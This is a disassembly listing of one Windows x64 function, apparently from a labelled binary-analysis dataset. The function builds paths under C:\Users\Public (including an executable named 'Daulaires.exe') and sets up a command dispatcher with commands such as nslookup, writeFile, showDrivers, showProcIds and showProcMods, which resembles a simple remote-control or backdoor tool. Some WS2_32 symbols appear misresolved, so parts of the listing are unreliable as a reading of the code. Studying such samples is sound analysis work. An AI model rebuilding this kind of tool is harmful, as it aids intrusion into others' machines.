Function at 0x14000b830
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x530]
sub rsp, 0x630
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rbp + 0x520], rax
mov r12, rcx
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3c0], xmm1
lea r8d, [rsi + 7]
lea rdx, str.Unknown
lea rcx, [rbp + 0x3b0]
call fcn.140008600
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x3e0], xmm1
lea r8d, [rsi + 7]
lea rdx, str.Unknown
lea rcx, [rbp + 0x3d0]
call fcn.140008600
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x400], xmm1
lea r8d, [rsi + 7]
lea rdx, str.Unknown
lea rcx, [rbp + 0x3f0]
call fcn.140008600
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x398], xmm1
mov ecx, 0x80
call fcn.14000e190
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x398], rax
lea rdx, [rbp + 0x410]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
lea rax, [rbp + 0x410]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000b953
lea rdx, [rbp + 0x410]
lea rcx, [rsp + 0x48]
call fcn.140008600
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002ec0
lea rdx, [0x140003090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000b9e6
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b9e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e1cc
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x3b0]
call fcn.14000ac10
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000ba0b
mov rdx, qword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002ec0
lea rdx, [0x140003090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000ba62
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000ba5d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000c71e
mov rcx, r8
call fcn.14000e1cc
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x3b0]
call fcn.14000aa20
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000ba96
mov rdx, qword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002ec0
lea rdx, [0x140003090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000baed
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000bae8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000c725
mov rcx, r8
call fcn.14000e1cc
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.C:UsersPublic_
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea rax, [rsp + 0x48]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x410]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
lea rax, [rbp + 0x410]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000bb70
lea rdx, [rbp + 0x410]
lea rcx, [rsp + 0x48]
call fcn.140008600
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov r8d, recv
lea rdx, str.Daulaires.exe
lea rcx, [rsp + 0x70]
call fcn.140008600
nop
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x70]
call fcn.14000b370
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, recv
lea rdx, str.Hello__world_
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea rax, [rsp + 0x48]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.C:UsersPublic_
lea rcx, [rsp + 0x48]
call fcn.140008600
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov r8d, 8
lea rdx, str.test.txt
lea rcx, [rsp + 0x70]
call fcn.140008600
nop
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x70]
call fcn.140001590
lea r15, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_3___void___.0
lea rbx, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_11___void___.0
lea r13, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_4___void___.0
lea r14, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_2___void___.0
lea rdi, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_1___void___.0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 7
lea rdx, str.restart
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
mov qword [rbp + 0x10], rdi
lea rax, [rbp + 0x390]
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x10]
call fcn.14000d570
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x14000bd13
mov rax, qword [rcx]
lea rdx, [rbp + 0x10]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000bd50
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8a5
call fcn.14000e1cc
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 7
lea rdx, str.notepad
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
mov qword [rbp + 0x50], r14
lea rax, [rbp + 0x390]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x50]
call fcn.14000d570
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x14000bdd9
mov rax, qword [rcx]
lea rdx, [rbp + 0x50]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000be16
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8ac
call fcn.14000e1cc
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 8
lea rdx, str.nslookup
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
mov qword [rbp + 0x90], r15
lea rax, [rbp + 0x390]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0x90]
call fcn.14000d570
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
je 0x14000beae
mov rax, qword [rcx]
lea rdx, [rbp + 0x90]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000beeb
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bee6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8b3
call fcn.14000e1cc
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 3
lea rdx, [0x14001191c]
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
mov qword [rbp + 0xd0], r13
lea rax, [rbp + 0x390]
mov qword [rbp + 0xd8], rax
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0xd0]
call fcn.14000d570
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x14000bf83
mov rax, qword [rcx]
lea rdx, [rbp + 0xd0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000bfc0
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bfbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8ba
call fcn.14000e1cc
lea rax, [rbp + 0x390]
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 3
lea rdx, [0x140011920]
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_5___void___.0
mov qword [rbp + 0x110], rax
movups xmm0, xmmword [rbp - 0x48]
movups xmmword [rbp + 0x118], xmm0
lea rax, [rbp + 0x110]
mov qword [rbp + 0x148], rax
lea rcx, [rbp + 0x110]
call fcn.14000d570
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14000c072
mov rax, qword [rcx]
lea rdx, [rbp + 0x110]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c0af
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c0aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8c1
call fcn.14000e1cc
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 9
lea rdx, str.writeFile
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_6___void___.0
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x188], rax
lea rcx, [rbp + 0x150]
call fcn.14000d570
mov rcx, qword [rbp + 0x188]
test rcx, rcx
je 0x14000c14e
mov rax, qword [rcx]
lea rdx, [rbp + 0x150]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c18b
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c186
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8c8
call fcn.14000e1cc
lea rax, [rbp + 0x390]
mov qword [rbp - 0x38], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.showDrivers
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_7___void___.0
mov qword [rbp + 0x190], rax
movups xmm0, xmmword [rbp - 0x38]
movups xmmword [rbp + 0x198], xmm0
lea rax, [rbp + 0x190]
mov qword [rbp + 0x1c8], rax
lea rcx, [rbp + 0x190]
call fcn.14000d570
mov rcx, qword [rbp + 0x1c8]
test rcx, rcx
je 0x14000c23d
mov rax, qword [rcx]
lea rdx, [rbp + 0x190]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c27a
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c275
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8cf
call fcn.14000e1cc
lea rax, [rbp + 0x390]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.showProcIds
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_8___void___.0
mov qword [rbp + 0x1d0], rax
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x208], rax
lea rcx, [rbp + 0x1d0]
call fcn.14000d570
mov rcx, qword [rbp + 0x208]
test rcx, rcx
je 0x14000c32c
mov rax, qword [rcx]
lea rdx, [rbp + 0x1d0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c369
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8d6
call fcn.14000e1cc
lea rax, [rbp + 0x390]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, recv
lea rdx, str.showProcMods
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_9___void___.0
mov qword [rbp + 0x210], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rbp + 0x218], xmm0
lea rax, [rbp + 0x210]
mov qword [rbp + 0x248], rax
lea rcx, [rbp + 0x210]
call fcn.14000d570
mov rcx, qword [rbp + 0x248]
test rcx, rcx
je 0x14000c41b
mov rax, qword [rcx]
lea rdx, [rbp + 0x210]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c458
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8dd
call fcn.14000e1cc
lea rax, [rbp + 0x390]
mov qword [rbp - 8], rax
lea rax, [rbp + 0x398]
mov qword [rbp], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 4
lea rdx, str.help
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
lea rax, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_10___void___.0
mov qword [rbp + 0x250], rax
movups xmm0, xmmword [rbp - 8]
movups xmmword [rbp + 0x258], xmm0
lea rax, [rbp + 0x250]
mov qword [rbp + 0x288], rax
lea rcx, [rbp + 0x250]
call fcn.14000d570
mov rcx, qword [rbp + 0x288]
test rcx, rcx
je 0x14000c50a
mov rax, qword [rcx]
lea rdx, [rbp + 0x250]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c547
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c542
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8e4
call fcn.14000e1cc
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, 4
lea rdx, str.quit
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x398]
call fcn.14000d370
mov rdx, qword [rax]
add rdx, 0x40
mov qword [rbp + 0x290], rbx
lea rax, [rbp + 0x290]
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp + 0x290]
call fcn.14000d570
mov rcx, qword [rbp + 0x2c8]
test rcx, rcx
je 0x14000c5cf
mov rax, qword [rcx]
lea rdx, [rbp + 0x290]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000c60c
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c607
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8eb
call fcn.14000e1cc
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
mov rdx, r12
mov rcx, rbx
call fcn.140003840
lea rax, [rbp + 0x360]
mov qword [rsp + 0x68], rax
mov rdx, r12
lea rcx, [rbp + 0x360]
call fcn.140006640
mov rbx, rax
lea rax, [rsp + 0x20]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.C:UsersPublic_
lea rcx, [rsp + 0x20]
call fcn.140008600
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov r8d, 8
lea rdx, str.test.txt
lea rcx, [rbp - 0x68]
call fcn.140008600
nop
mov r9, rbx
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x68]
call fcn.140001590
mov r13, qword [rbp + 0x398]
mov rbx, qword [r13 + 8]
mov r14, r13
cmp byte [rbx + 0x19], 0
jne 0x14000c756
mov rsi, qword [r12 + 0x10]
mov r15, qword [r12 + 0x18]
nop
lea rcx, [rbx + 0x20]
mov rdx, r12
cmp r15, 0x10
jb 0x14000c6f1
mov rdx, qword [r12]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14000c6ff
mov rcx, qword [rcx]
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000c734
cmp rdi, rsi
jae 0x14000c72c
mov eax, 0xffffffff
jmp 0x14000c734
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor eax, eax
cmp rdi, rsi
seta al
shr eax, 0x1f
test al, al
je 0x14000c741
mov rbx, qword [rbx + 0x10]
jmp 0x14000c747
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14000c6e0
xor esi, esi
lea r15, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_3___void___.0
cmp byte [r14 + 0x19], 0
jne 0x14000c7e6
lea rdx, [r14 + 0x20]
mov rdi, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14000c773
mov rdx, qword [rdx]
mov rbx, qword [r12 + 0x10]
mov rcx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14000c787
mov rcx, qword [r12]
mov r8, rbx
cmp rdi, rbx
cmovb r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000c7ab
cmp rbx, rdi
jae 0x14000c7a6
mov eax, 0xffffffff
jmp 0x14000c7ab
mov eax, esi
seta al
shr eax, 0x1f
test al, al
jne 0x14000c7e6
cmp r14, r13
je 0x14000c7e6
mov r8, r12
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x398]
call fcn.14000d190
mov rcx, qword [rax]
mov rcx, qword [rcx + 0x78]
test rcx, rcx
je 0x14000c8f2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000bc72
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8d, send
lea rdx, str.Command_not_found
lea rcx, [rsp + 0x20]
call fcn.140008600
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rdx, qword [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002ec0
lea rdx, [0x140003090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
lea rbx, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_11___void___.0
lea rdi, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_1___void___.0
lea r14, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_2___void___.0
lea r13, vtable.std::_Func_impl_no_alloc_class__public:_bool___cdecl_Main::Windows_void____ptr64::_4::_lambda_4___void___.0
jb 0x14000bc90
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c89b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c8f9
call fcn.14000e1cc
jmp 0x14000bc72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
